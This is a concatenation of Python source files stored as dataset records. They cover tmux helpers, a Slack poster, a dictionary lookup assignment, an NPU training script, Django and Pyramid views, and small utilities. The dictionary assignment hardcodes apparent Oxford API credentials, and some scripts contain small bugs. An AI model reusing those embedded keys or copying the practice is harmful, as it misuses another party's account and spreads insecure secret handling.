expected_file))\n#\n# # await CrudRedisGeneral.cleanup(get_redis_client, \"*\")\n# # await KLineService.init_kline(get_redis_client, [60, 3600, 86400])\n# return ok\n","sub_path":"orders/conftest1.py","file_name":"conftest1.py","file_ext":"py","file_size_in_byte":2453,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"281649395","text":"import re\nimport subprocess\n\ndef get_pane_ascii_code(pane_name):\n command = ['tmux', 'capture-pane', '-t', pane_name, '-e', '-J', '-p']\n result = subprocess.Popen(command, stdin = subprocess.PIPE, stdout = subprocess.PIPE, stderr = subprocess.PIPE)\n return result.stdout.read().decode('utf8')\n\ndef get_maximum_length(ascii_code):\n regex = re.compile(r'\\x1b\\[[;\\d]*[A-Za-z]')\n return max([len(regex.sub('', line)) for line in ascii_code])\n\ndef delete_blank_lines(ascii_code):\n for index in list(range(len(ascii_code)))[::-1]:\n if ascii_code[index].strip() == '':\n del ascii_code[index]\n else:\n break\n return ascii_code\n\ndef get_pane_list():\n command = ['tmux', 'list-sessions']\n result = subprocess.Popen(command, stdin = subprocess.PIPE, stdout = subprocess.PIPE, stderr = subprocess.PIPE)\n result = result.stdout.read().decode('utf8')\n session_list = [item.split(':', 1)[0] for item in result.strip().split('\\n')]\n\n pane_list = list()\n for session in session_list:\n command = ['tmux', 'list-windows', '-t', session]\n result = subprocess.Popen(command, stdin = subprocess.PIPE, stdout = subprocess.PIPE, stderr = subprocess.PIPE)\n result = result.stdout.read().decode('utf8')\n window_list = [item.split(':', 1)[0] for item in result.strip().split('\\n')]\n\n for window in window_list:\n command = ['tmux', 'list-panes', '-t', session + ':' + window]\n result = subprocess.Popen(command, stdin = subprocess.PIPE, stdout = subprocess.PIPE, stderr = subprocess.PIPE)\n result = result.stdout.read().decode('utf8')\n\n pane_list += [session + ':' + window + '.' + item.split(':', 1)[0] for item in result.strip().split('\\n')]\n\n return pane_list\n\ndef testcases():\n print(get_pane_list())\n\nif __name__ == '__main__':\n testcases()\n","sub_path":"utilities/tmux.py","file_name":"tmux.py","file_ext":"py","file_size_in_byte":1880,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"213427216","text":"import os\nimport slack\nimport asyncio\n\nbot_oauth_token = os.environ['SLACK_API_TOKEN']\nsc = slack.WebClient(token=bot_oauth_token, run_async=True)\nloop = asyncio.get_event_loop()\n\ndef post(channel, message):\n res = loop.run_until_complete(sc.chat_postMessage(channel=channel, text=message))\n if res['ok'] == False:\n print(res['error'])\n\nif __name__ == '__main__':\n import argparse\n parser = argparse.ArgumentParser(description='Send a message to a slack channel')\n parser.add_argument('channel', help='Destination channel')\n parser.add_argument('message', nargs='+', help='Message to send')\n args = parser.parse_args()\n post(args.channel, ' '.join(args.message))\n","sub_path":"slack_alert.py","file_name":"slack_alert.py","file_ext":"py","file_size_in_byte":694,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"469773447","text":"\"\"\"\nCS3B, Assignment #10, Online Dictionary\nUlises Marian\n\"\"\"\n\nimport time\nimport requests\nimport json\nfrom enum import Enum\nfrom http import HTTPStatus\n\nfrom datalist import *\n\nclass DictionaryEntry:\n def __init__(self, word, part_of_speech, definition, example=None):\n self.word = word\n self.part_of_speech = part_of_speech\n self.definition = definition\n self.example = example\n\n def __str__(self):\n return f\"Word : {self.word}\\n\" \\\n f\"Part of speech: {self.part_of_speech}\\n\" \\\n f\"Definition : {self.definition}\\n\" \\\n f\"Example : {self.example}\"\n\n\nclass LocalDictionary:\n def __init__(self, dictionary_json_name=\"dictionary.json\"):\n with open(dictionary_json_name) as file:\n self._dictionary = {}\n data = json.load(file, object_hook=self.dictionary_entry_decoder)\n for d in data[\"entries\"]:\n if isinstance(d, DictionaryEntry):\n # If entry doesn't have all the required fields, it's not\n # converted to DictionaryEntry, so we don't add it to dict.\n # Use .lower() to make search case-insensitive, though that's\n # not required. Requires the same in search().\n self._dictionary[d.word.lower()] = d\n\n def dictionary_entry_decoder(self, o):\n try:\n # This line works, but we haven't talked about ** by this point.\n # return DictionaryEntry(**o), so the longer version.\n if \"example\" in o:\n example = o[\"example\"]\n else:\n example = None\n\n # We can also put this directly in self.dictionary, but this stays\n # closer to what the examples in the lectures did.\n return DictionaryEntry(word=o[\"word\"],\n part_of_speech=o[\"part_of_speech\"],\n definition=o[\"definition\"],\n example=example)\n except:\n # If there's an error deserialize o, just return it as is, otherwise\n # it won't get deserialized at all.\n return o\n\n def search(self, word):\n # Use .lower() to make search case-insensitive, though that's\n # not required by the assignment.\n return self._dictionary[word.lower()]\n\n\nclass DictionaryEntryCache(DataList):\n MIN_CAPACITY = 1\n\n def __init__(self, capacity=1):\n super().__init__()\n if capacity < self.MIN_CAPACITY:\n raise ValueError(\"Capacity should be at least 1\")\n self.capacity = capacity\n self.count = 0\n\n def add(self, entry):\n if not isinstance(entry, DictionaryEntry):\n raise TypeError(\"entry should be DictionaryEntry\")\n self.add_to_head(entry)\n self.count += 1\n if self.count > self.capacity:\n self.remove_tail()\n\n def remove_tail(self):\n self.reset_current()\n current = self.iterate()\n # While we typically shouldn't mix iteration with modification to the list being\n # iterated, we stop iteration as soon as we remove the last node, so that's ok.\n while current:\n if current.next is None:\n # If this is true, there's only 1 data node, which should never happen\n # because we ensure capacity is at least 1, and we call remove_tail()\n # only after adding another entry, so there are always at least 2.\n raise RuntimeError(\"Something's very wrong\")\n\n if current.next.next is None:\n # current.next is the last (oldest) one, remove it\n current.remove_after()\n break\n current = self.iterate()\n self.count -= 1\n\n def search(self, word):\n self.reset_current()\n current = self.iterate()\n while current:\n # Case-insensitive comparison, though not required.\n if current.data.word.lower() == word.lower():\n # Found the entry with the right word, remove it from the list,\n # and insert it at the head. Return it.\n entry = current.data\n self.remove(entry)\n self.add_to_head(entry)\n return entry\n current = self.iterate()\n raise KeyError(f\"Cannot find {word}\")\n\n\nclass OxfordDictionary(LocalDictionary):\n\n #class constants\n APP_ID = \"c2f6e385\"\n APP_KEY = \"1708179f5153cc68d2f7430876c5003a\"\n\n def search(self, word):\n self.word = word\n\n language = \"en-us\"\n word_id = self.word\n\n url = \"https://od-api.oxforddictionaries.com:443/api/v2/entries/\"\\\n + language + \"/\" + word_id.lower()\n\n r = requests.get(url, headers={\"app_id\": OxfordDictionary.APP_ID,\n \"app_key\": OxfordDictionary.APP_KEY})\n\n if r.status_code == HTTPStatus.OK:\n json_resp = r.json()\n else:\n raise KeyError(f\"word '{word}' not found\")\n\n # create DictionaryEntry instance with the following:\n lexical_id = (json_resp[\"results\"][0][\"lexicalEntries\"][0]\n [\"lexicalCategory\"][\"id\"])\n definition = (json_resp[\"results\"][0][\"lexicalEntries\"][0]\n [\"entries\"][0][\"senses\"][0][\"definitions\"][0])\n\n try:\n example = (json_resp[\"results\"][0][\"lexicalEntries\"][0]\n [\"entries\"][0][\"senses\"][0][\"examples\"][0][\"text\"])\n except:\n example=None\n\n\n return(DictionaryEntry(word_id, lexical_id, definition, example))\n\n\nclass DictionarySource(Enum):\n LOCAL = 1\n CACHE = 2\n OXFORD_ONLINE = 3\n\n def __str__(self):\n return self.name\n\n\nclass Dictionary:\n def __init__(self, source=DictionarySource.OXFORD_ONLINE):\n if source is DictionarySource.OXFORD_ONLINE:\n self.dictionary = OxfordDictionary()\n elif source is DictionarySource.LOCAL:\n self.dictionary = LocalDictionary()\n else:\n raise ValueError\n\n self.dictionary_source = source\n self.dictionary_entry_cache = DictionaryEntryCache(1)\n\n def search(self, word):\n try:\n result_tuple = time_func(self.dictionary_entry_cache.search, word)\n return (result_tuple[0], DictionarySource.CACHE, result_tuple[1])\n except KeyError:\n result_tuple = time_func(self.dictionary.search, word)\n self.dictionary_entry_cache.add(result_tuple[0])\n return (result_tuple[0], self.dictionary_source, result_tuple[1])\n\n\ndef time_func(func, *args, **kwargs):\n start = time.perf_counter()\n result = func(*args, **kwargs)\n duration = time.perf_counter() - start\n return result, duration\n\n\ndef main():\n dictionary = Dictionary()\n while True:\n word = input(\"Enter a word to lookup: \")\n try:\n entry, source, duration = dictionary.search(word)\n print(f\"{entry}\\n(Found in {source} in {duration} seconds)\\n\")\n except KeyError as e:\n print(f\"Error when searching: {str(e)}\\n\")\n except requests.ConnectionError:\n print(f\"NO internet connection\\n\")\n\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"10_dictionary(online&json).py","file_name":"10_dictionary(online&json).py","file_ext":"py","file_size_in_byte":7327,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"638085624","text":"#!/usr/bin/env python3 -u\n\n# Copyright (c) 2017-present, Facebook, Inc.\n# All rights reserved.\n# Copyright 2020 Huawei Technologies Co., Ltd\n#\n# This source code is licensed under the license found in the LICENSE file in\n# the root directory of this source tree. An additional grant of patent rights\n# can be found in the PATENTS file in the same directory.\n#\n# -------------------------------------------------------------------------\n#\n# Copyright (c) 2019, NVIDIA CORPORATION. All rights reserved.\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport collections\nimport itertools\nimport os\nimport math\nimport torch\nif torch.__version__ >= \"1.8\":\n import torch_npu\nimport time\nimport ctypes\n\nimport sys\nimport threading\n\nfrom copy import deepcopy\nfrom utils import distributed_utils, options, utils\nfrom utils.ddp_trainer import DDPTrainer\nfrom utils.meters import StopwatchMeter, TimeMeter\nimport data\nfrom data import tokenizer, dictionary, data_utils, load_dataset_splits\nfrom models import build_model\nimport numpy as np\nimport dllogger as DLLogger\nfrom utils.log_helper import AggregatorBackend, setup_logger\n\nMAX = 2147483647\ndef _gen_seeds(shape):\n return np.random.uniform(1, MAX, size=shape).astype(np.float32)\nseed_shape = (32 * 1024 * 12, )\n\n\nclass AverageMeter(object):\n \"\"\"Computes and stores the average and current value\"\"\"\n\n def __init__(self, name, fmt=':f'):\n self.name = name\n self.fmt = fmt\n self.reset()\n\n def reset(self):\n self.val = 0\n self.avg = 0\n self.sum = 0\n self.count = 0\n\n def update(self, val, n=1):\n self.val = val\n self.sum += val * n\n self.count += n\n self.avg = self.sum / self.count\n\n def __str__(self):\n fmtstr = '{name} {val' + self.fmt + '} ({avg' + self.fmt + '})'\n return fmtstr.format(**self.__dict__)\n\n\nclass ProgressMeter(object):\n def __init__(self, num_batches, meters, prefix=\"\"):\n self.batch_fmtstr = self._get_batch_fmtstr(num_batches)\n self.meters = meters\n self.prefix = prefix\n\n def display(self, batch):\n entries = [self.prefix + self.batch_fmtstr.format(batch)]\n entries += [str(meter) for meter in self.meters]\n print('\\t'.join(entries))\n\n def _get_batch_fmtstr(self, num_batches):\n num_digits = len(str(num_batches // 1))\n fmt = '{:' + str(num_digits) + 'd}'\n return '[' + fmt + '/' + fmt.format(num_batches) + ']'\n\n\ndef main(args):\n print(args)\n setup_logger(args)\n\n loc = 'npu:{}'.format(args.device_id)\n torch.npu.set_device(loc)\n \n if args.max_tokens is None:\n args.max_tokens = 6000\n\n torch.manual_seed(args.seed)\n\n src_dict, tgt_dict = data_utils.load_dictionaries(args)\n add_extra_items_to_checkpoint({'src_dict': src_dict, 'tgt_dict': tgt_dict})\n datasets = load_dataset_splits(args, ['train', 'valid', 'test'], src_dict, tgt_dict)\n\n seed = _gen_seeds(seed_shape)\n seed = torch.from_numpy(seed)\n seed = seed.to(loc)\n model = build_model(args, seed=seed)\n print('| num. model params: {}'.format(sum(p.numel() for p in model.parameters())))\n\n # Build trainer\n trainer = DDPTrainer(args, model)\n print('| model {}, criterion {}'.format(args.arch, trainer.criterion.__class__.__name__))\n\n print('| training on {} NPUs'.format(args.distributed_world_size))\n print('| max sentences per NPU = {}'.format(args.max_sentences))\n\n epoch_itr = data.EpochBatchIterator(\n dataset=datasets[args.train_subset],\n max_tokens=args.max_tokens,\n max_sentences=args.max_sentences_valid,\n max_positions=args.max_positions,\n ignore_invalid_inputs=True,\n required_batch_size_multiple=8,\n seed=args.seed,\n num_shards=1,\n shard_id=0,\n max_positions_num=96,\n\n )\n # Load the latest checkpoint if one is available\n if args.restore_file:\n load_checkpoint(args, trainer, epoch_itr)\n\n\n # Train until the learning rate gets too small or model reaches target score\n max_epoch = args.max_epoch or math.inf\n max_update = args.max_update or math.inf\n lr = trainer.get_lr()\n train_meter = StopwatchMeter()\n train_meter.start()\n valid_losses = [None]\n valid_subsets = args.valid_subset.split(',')\n run_summary = {'loss': float('inf'),\n 'val_loss': float('inf'),\n 'speed': 0,\n 'accuracy': 0}\n\n # max_update\n m = 0\n while lr >= args.min_lr and epoch_itr.epoch < max_epoch and trainer.get_num_updates() < max_update:\n m = m + 1\n if m >= 2:\n pass\n DLLogger.log(step=trainer.get_num_updates(), data={'epoch': epoch_itr.epoch}, verbosity=0)\n # train for one epoch\n train(args, trainer, datasets, epoch_itr)\n\n if epoch_itr.epoch % args.validate_interval == 0:\n valid_losses = validate(args, trainer, datasets, valid_subsets)\n DLLogger.log(step=trainer.get_num_updates(), data={'val_loss': valid_losses[0]},\n verbosity=1)\n\n\n if valid_losses[0] < run_summary['val_loss']:\n run_summary['val_loss'] = valid_losses[0]\n run_summary['loss'] = valid_losses[0]\n run_summary['speed'] = trainer.throughput_meter.u_avg\n\n # Only use first validation loss to update the learning rate\n lr = trainer.lr_step(epoch_itr.epoch, valid_losses[0])\n\n # Save checkpoint\n if epoch_itr.epoch % args.save_interval == 0:\n save_checkpoint(args, trainer, epoch_itr, valid_losses[0])\n\n train_meter.stop()\n DLLogger.log(step=[], data=run_summary, verbosity=0)\n DLLogger.log(step='RUN', data={'walltime': train_meter.sum}, verbosity=0)\n print('| done training in {:.1f} seconds'.format(train_meter.sum))\n\n\ndef train(args, trainer, datasets, epoch_itr):\n \"\"\"Train the model for one epoch.\"\"\"\n\n itr = epoch_itr.next_epoch_itr()\n\n # update parameters every N batches\n if epoch_itr.epoch <= len(args.update_freq):\n update_freq = args.update_freq[epoch_itr.epoch - 1]\n else:\n update_freq = args.update_freq[-1]\n\n num_batches = len(epoch_itr)\n\n batch_time = AverageMeter('Time', ':6.3f')\n sentence_s = AverageMeter('Sentence/s', ':6.3f')\n losses = AverageMeter('Loss', ':.4f')\n\n progress = ProgressMeter(int(num_batches/update_freq),\n [batch_time, sentence_s,losses],\n prefix = \"Epoch: [{}]\".format(epoch_itr.epoch))\n\n print(\"Update Frequence is :\", str(update_freq))\n\n first_valid = args.valid_subset.split(',')[0]\n max_update = args.max_update or math.inf\n\n # reset meters\n DLLogger.flush()\n trainer.get_throughput_meter().reset()\n\n for i, sample in enumerate(itr):\n start_time = time.time()\n if i > 100:\n pass\n if i < num_batches - 1 and (i + 1) % update_freq > 0:\n # buffer updates according to --update-freq\n loss = trainer.train_step(sample, update_params=False, last_step=(i == len(itr) - 1))\n if i < 2:\n print(\"step_time = %.4f\" % (time.time() - start_time), flush=True)\n continue\n else:\n loss = trainer.train_step(sample, update_params=True, last_step=(i == len(itr) - 1))\n if loss != None:\n losses.update(loss)\n\n if i >= 10:\n t = time.time()\n batch_time.update((t - end)/update_freq)\n sentence_s.update(args.max_sentences/(t-end)*update_freq)\n end = time.time()\n if i < 10:\n end = time.time()\n if i >= 10:\n progress.display(int((i+1)/update_freq))\n\n\n # ignore the first mini-batch in words-per-second calculation\n if i == 0:\n trainer.get_throughput_meter().reset()\n for backend in DLLogger.GLOBAL_LOGGER.backends:\n if isinstance(backend, AggregatorBackend):\n backend._reset_perf_meter('tokens')\n backend._reset_perf_meter('updates')\n break\n\n # Mid epoch checkpoint\n num_updates = trainer.get_num_updates()\n if args.save_interval_updates > 0 and num_updates % args.save_interval_updates == 0:\n valid_losses = validate(args, trainer, datasets, [first_valid])\n save_checkpoint(args, trainer, epoch_itr, valid_losses[0])\n\n if (i + 1) % args.log_interval == 0:\n DLLogger.flush()\n\n if num_updates >= max_update:\n break\n\n print(\"End of epoch, batch_size:\", args.max_sentences, 'Time: {:.3f}'.format(batch_time.avg), ' Sentence/s@all {:.3f}'.format(\n args.max_sentences / batch_time.avg))\n\n # Print epoch stats and reset training meters\n DLLogger.log(step=trainer.get_num_updates(), data={'speed': trainer.get_throughput_meter().avg}, verbosity=0)\n DLLogger.flush()\n\n\ndef validate(args, trainer, datasets, subsets):\n \"\"\"Evaluate the model on the validation set(s) and return the losses.\"\"\"\n # Reset value iterations counter\n trainer._num_val_iterations = 0\n\n valid_losses = []\n for subset in subsets:\n\n if len(subsets) > 1:\n print('Validating on \\'{}\\' subset'.format(subset))\n\n # Initialize data iterator\n itr = data.EpochBatchIterator(\n dataset=datasets[subset],\n max_tokens=args.max_tokens,\n max_sentences=args.max_sentences_valid,\n max_positions=args.max_positions,\n ignore_invalid_inputs=args.skip_invalid_size_inputs_valid_test,\n required_batch_size_multiple=8,\n seed=args.seed,\n num_shards=1,\n shard_id=0,\n max_positions_num=1024,\n ).next_epoch_itr(shuffle=False)\n\n # reset validation loss meters\n DLLogger.flush()\n\n subset_losses = []\n for sample in itr:\n loss = trainer.valid_step(sample)\n subset_losses.append(loss)\n subset_loss = sum(subset_losses) / len(subset_losses)\n\n DLLogger.flush()\n\n valid_losses.append(subset_loss)\n print(f'Validation loss on subset {subset}: {subset_loss}')\n\n return valid_losses\n\n\ndef save_checkpoint(args, trainer, epoch_itr, val_loss):\n if args.no_save or not distributed_utils.is_master(args):\n return\n epoch = epoch_itr.epoch\n end_of_epoch = epoch_itr.end_of_epoch()\n updates = trainer.get_num_updates()\n\n checkpoint_conds = collections.OrderedDict()\n checkpoint_conds['checkpoint{}.pt'.format(epoch)] = (\n end_of_epoch and not args.no_epoch_checkpoints and\n epoch % args.save_interval == 0\n )\n checkpoint_conds['checkpoint_{}_{}.pt'.format(epoch, updates)] = (\n not end_of_epoch and args.save_interval_updates > 0 and\n updates % args.save_interval_updates == 0\n )\n checkpoint_conds['checkpoint_best.pt'] = (\n val_loss is not None and\n (not hasattr(save_checkpoint, 'best') or val_loss < save_checkpoint.best)\n )\n checkpoint_conds['checkpoint_last.pt'] = True # keep this last so that it's a symlink\n\n prev_best = getattr(save_checkpoint, 'best', val_loss)\n if val_loss is not None:\n save_checkpoint.best = min(val_loss, prev_best)\n extra_state = {\n 'best': save_checkpoint.best,\n 'train_iterator': epoch_itr.state_dict(),\n 'val_loss': val_loss,\n }\n extra_state.update(save_checkpoint.extra_items)\n\n checkpoints = [os.path.join(args.save_dir, 'checkpoints', fn) for fn, cond in checkpoint_conds.items() if cond]\n if len(checkpoints) > 0:\n for cp in checkpoints:\n trainer.save_checkpoint(cp, extra_state)\n\n if not end_of_epoch and args.keep_interval_updates > 0:\n # remove old checkpoints; checkpoints are sorted in descending order\n checkpoints = utils.checkpoint_paths(os.path.join(args.save_dir, 'checkpoints'),\n pattern=r'checkpoint_\\d+_(\\d+)\\.pt')\n for old_chk in checkpoints[args.keep_interval_updates:]:\n os.remove(old_chk)\n\n\ndef add_extra_items_to_checkpoint(dict):\n if not hasattr(save_checkpoint, 'extra_items'):\n save_checkpoint.extra_items = {}\n save_checkpoint.extra_items.update(dict)\n\n\ndef load_checkpoint(args, trainer, epoch_itr):\n \"\"\"Load a checkpoint and replay dataloader to match.\"\"\"\n os.makedirs(os.path.join(args.save_dir, 'checkpoints'), exist_ok=True)\n checkpoint_path = os.path.join(args.save_dir, 'checkpoints', args.restore_file)\n if os.path.isfile(checkpoint_path):\n extra_state = trainer.load_checkpoint(checkpoint_path)\n if extra_state is not None:\n # replay train iterator to match checkpoint\n epoch_itr.load_state_dict(extra_state['train_iterator'])\n\n print('| loaded checkpoint {} (epoch {} @ {} updates)'.format(\n checkpoint_path, epoch_itr.epoch, trainer.get_num_updates()))\n\n trainer.lr_step(epoch_itr.epoch)\n trainer.lr_step_update(trainer.get_num_updates())\n if 'best' in extra_state:\n save_checkpoint.best = extra_state['best']\n\n\nif __name__ == '__main__':\n parser = options.get_training_parser()\n ARGS = options.parse_args_and_arch(parser)\n\n main(ARGS)\n","sub_path":"PyTorch/built-in/nlp/Transformer_ID0105_for_PyTorch/train_1p.py","file_name":"train_1p.py","file_ext":"py","file_size_in_byte":13824,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"399255419","text":"import ctypes\nfrom ctypes import *\n\nclass WaflDualVBN64(ctypes.LittleEndianStructure):\n __pack__ = 1\n _fields_ = [(\"pvbn\", ctypes.c_uint64, 48),\n (\"vvbn\", ctypes.c_uint64, 48)\n ]\n\nclass vbn48(ctypes.LittleEndianStructure):\n __pack__ = 1\n _fields_ = [(\"pvbn\", ctypes.c_uint64, 48)]\n\n\nclass WaflDualVbn64Array(Array):\n _type_ = WaflDualVBN64\n _length_ = 255\n\nclass pv:\n p=(\"pvbn\", ctypes.c_uint64, 48)\n v=(\"vvbn\", ctypes.c_uint64, 48)\n def __init__(self, P=0, V=0):\n self.p = P\n self.v = V\n def setPV(self, P=0, V=0):\n self.p = P\n self.v = V\n def getP(self):\n return self.p\n def getV(self):\n return self.v\n\nclass dualPV(ctypes.LittleEndianStructure):\n p = ctypes.c_uint32\n v = ctypes.c_uint32\n def __init__(self, P=0, V=0):\n self.p = P\n self.v = V\n","sub_path":"IOT Hackathon/PvPair.py","file_name":"PvPair.py","file_ext":"py","file_size_in_byte":885,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"61915682","text":"import os\nimport random\n\nCurrDir = os.getcwd()\nos.chdir(CurrDir)\n\n\n\nwith open(\"words.txt\") as f:\n content = f.readlines()\n\ncontent = [x.strip() for x in content]\n\nprint(content)\nt = random.randint(0,len(content)-1)\n#Debug:\nprint(t)\nprint(\"This is the\",t ,\"word of your list:\",content[t])","sub_path":"Projet_pendu/4.e-Random-word-ffile.py","file_name":"4.e-Random-word-ffile.py","file_ext":"py","file_size_in_byte":290,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"569796618","text":"import threading\ndef finis():\n global timer\n timer = 60\n\n for x in range(60):\n timer -= 1\n sleep(1)\n\n print(\"\\ntime end\")\n\nfinis_thread = threading.Thread(target=finis)\nfinis_thread.start()\n\nwhile timer > 0:\n print(\"hello\")\n","sub_path":"timer.py","file_name":"timer.py","file_ext":"py","file_size_in_byte":251,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"447506617","text":"from django.conf.urls import url\n\nfrom Axf import views\n\nurlpatterns = [\n url(r'^$', views.home, name = 'index'),\n url(r'^home/$', views.home, name = 'home'),\n url(r'^market/(\\d+)/$', views.market, name = 'market'),\n url(r'^cart/$', views.cart, name = 'cart'),\n url(r'^mine/$', views.mine, name = 'mine'),\n url(r'^registe/$', views.registe , name='registe')\n]","sub_path":"axf/Axf/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":377,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"242439513","text":"# -*- coding: utf-8 -*-\nfrom pyramid.view import view_config\n\nfrom pyramid.httpexceptions import HTTPFound\n\nfrom ..lib.helpers import smart_truncate\n\nfrom ..db import DBSession\nfrom ..models.product import Product\nfrom ..models.thread import Thread\n\n\n@view_config(route_name='my_threads', permission='user')\ndef my_threads(request):\n return HTTPFound(location=request.route_path('inbox'))\n\n\n@view_config(\n route_name='inbox',\n renderer='kj:templates/front/my_messages.html',\n permission='user')\ndef inbox(request):\n threads_i_sent = request.user.get_active_sender_threads()\n threads_i_get = request.user.get_active_recipient_threads()\n get_unread = 0\n send_unread = 0\n for t in threads_i_get:\n get_unread += len(t.get_unread_messages(request.user))\n for t in threads_i_sent:\n send_unread += len(t.get_unread_messages(request.user))\n return {\n 'threads_i_sent': threads_i_sent,\n 'threads_i_get': threads_i_get,\n 'all_threads': threads_i_get,\n 'type': 'INBOX',\n 'title': u'Wiadomości wysłane do mnie',\n 'get_unread': get_unread,\n 'send_unread': send_unread\n }\n\n\n@view_config(\n route_name='outbox',\n renderer='kj:templates/front/my_messages.html',\n permission='user')\ndef outbox(request):\n threads_i_sent = request.user.get_active_sender_threads()\n threads_i_get = request.user.get_active_recipient_threads()\n get_unread = 0\n send_unread = 0\n for t in threads_i_get:\n get_unread += len(t.get_unread_messages(request.user))\n for t in threads_i_sent:\n send_unread += len(t.get_unread_messages(request.user))\n return {\n 'threads_i_sent': threads_i_sent,\n 'threads_i_get': threads_i_get,\n 'all_threads': threads_i_sent,\n 'type': 'OUTBOX',\n 'title': u'Wiadomości wysłane przeze mnie',\n 'get_unread': get_unread,\n 'send_unread': send_unread\n }\n\n\n@view_config(\n route_name='archive',\n renderer='kj:templates/front/my_messages.html',\n permission='user')\ndef archive(request):\n threads_i_sent = request.user.get_archived_sender_threads()\n threads_i_get = request.user.get_archived_recipient_threads()\n get_unread = 0\n send_unread = 0\n return {\n 'threads_i_sent': threads_i_sent,\n 'threads_i_get': threads_i_get,\n 'all_threads': threads_i_sent + threads_i_get,\n 'type': 'ARCHIVED',\n 'title': u'Wiadomości wysłane przeze mnie',\n 'get_unread': get_unread,\n 'send_unread': send_unread\n }\n\n\n@view_config(\n route_name='show_thread_messages',\n renderer='kj:templates/front/message.html',\n permission='user')\ndef show_thread_messages(request):\n thread_id = request.matchdict.get('id')\n thread = Thread.get(thread_id)\n\n if not thread or not request.user.can_see_message(thread_id):\n request.session.flash(u'Taka wiadomość nie istnieje')\n return HTTPFound(location=request.route_path('inbox'))\n\n if thread.recipient != request.user:\n participant = thread.recipient\n else:\n participant = thread.sender\n\n return {\n 'thread': thread,\n 'participant': participant,\n 'products': participant.get_products_for_message(),\n 'title': u\"\"\"\n Wiadomości » %s\n \"\"\" % (\n request.route_path('my_threads'),\n smart_truncate(thread.product.name, 65))\n }\n\n\n@view_config(route_name='send_message', permission='user')\ndef send_message(request):\n product_id = request.matchdict.get('product_id')\n product = Product.get(product_id)\n\n recipient_id = request.matchdict.get('user_id')\n sender_id = request.user.id\n\n msg = request.params.get('msg')\n\n if not msg:\n request.session.flash(u'Ej no nie można wysyłać pustej wiadomości...')\n return HTTPFound(location=request.referrer)\n\n if int(recipient_id) == int(sender_id):\n request.session.flash(u'Ej no nie można wysyłać samemu sobie...')\n return HTTPFound(location=request.referrer)\n\n existing_thread = Thread.find_by_sender_and_recipient_and_product(\n sender_id, recipient_id, product_id)\n if existing_thread:\n thread = existing_thread\n else:\n thread = Thread()\n thread.from_us_id = sender_id\n thread.to_us_id = recipient_id\n thread.product_id = product_id\n DBSession.add(thread)\n DBSession.flush()\n\n thread.add_message(sender_id, recipient_id, msg)\n\n request.session.flash(u'Wiadomość wysłana do %s!' % (product.owner_name()))\n if len(thread.messages) > 1:\n return HTTPFound(location=request.route_path(\n 'show_thread_messages',\n id=thread.id,\n _anchor='last_or_new'))\n else:\n return HTTPFound(location=request.referrer)\n\n\n@view_config(route_name='reply', permission='user')\ndef reply(request):\n thread_id = request.matchdict.get('id')\n message = request.params.get('reply')\n\n if not message:\n request.session.flash(u'Ej no nie można wysyłać pustej wiadomości...')\n return HTTPFound(\n location=request.route_path(\n 'show_thread_messages',\n id=thread_id,\n _anchor='last_or_new'))\n\n thread = Thread.get(thread_id)\n recipient_id = thread.sender.id if thread.sender.id != request.user.id else thread.recipient.id\n thread.add_message(request.user.id, recipient_id, message)\n\n request.session.flash(u'Wiadomość wysłana!')\n return HTTPFound(location=request.route_path(\n 'show_thread_messages', id=thread.id, _anchor='last_or_new'))\n\n\n@view_config(route_name='archive_message', permission='user')\ndef archive_message(request):\n thread_id = request.matchdict.get('id')\n thread = Thread.get(thread_id)\n\n if not thread or not request.user.can_see_message(thread_id):\n request.session.flash(u'Taka wiadomość nie istnieje')\n return HTTPFound(location=request.route_path('inbox'))\n thread.archive(request.user)\n request.session.flash(u'Wiadomość zarchwizowana!')\n return HTTPFound(location=request.route_path('archive'))\n","sub_path":"kj/views/messages.py","file_name":"messages.py","file_ext":"py","file_size_in_byte":6187,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"109193722","text":"#!/usr/bin/env python\n# -*- encoding: utf-8 -*-\n#\n# Copyright (c) 2016 ASMlover. All rights reserved.\n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions\n# are met:\n#\n# * Redistributions of source code must retain the above copyright\n# notice, this list ofconditions and the following disclaimer.\n#\n# * Redistributions in binary form must reproduce the above copyright\n# notice, this list of conditions and the following disclaimer in\n# the documentation and/or other materialsprovided with the\n# distribution.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n# \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS\n# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE\n# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n# INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,\n# BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\n# CAUSED AND ON ANY THEORY OF LIABILITY, 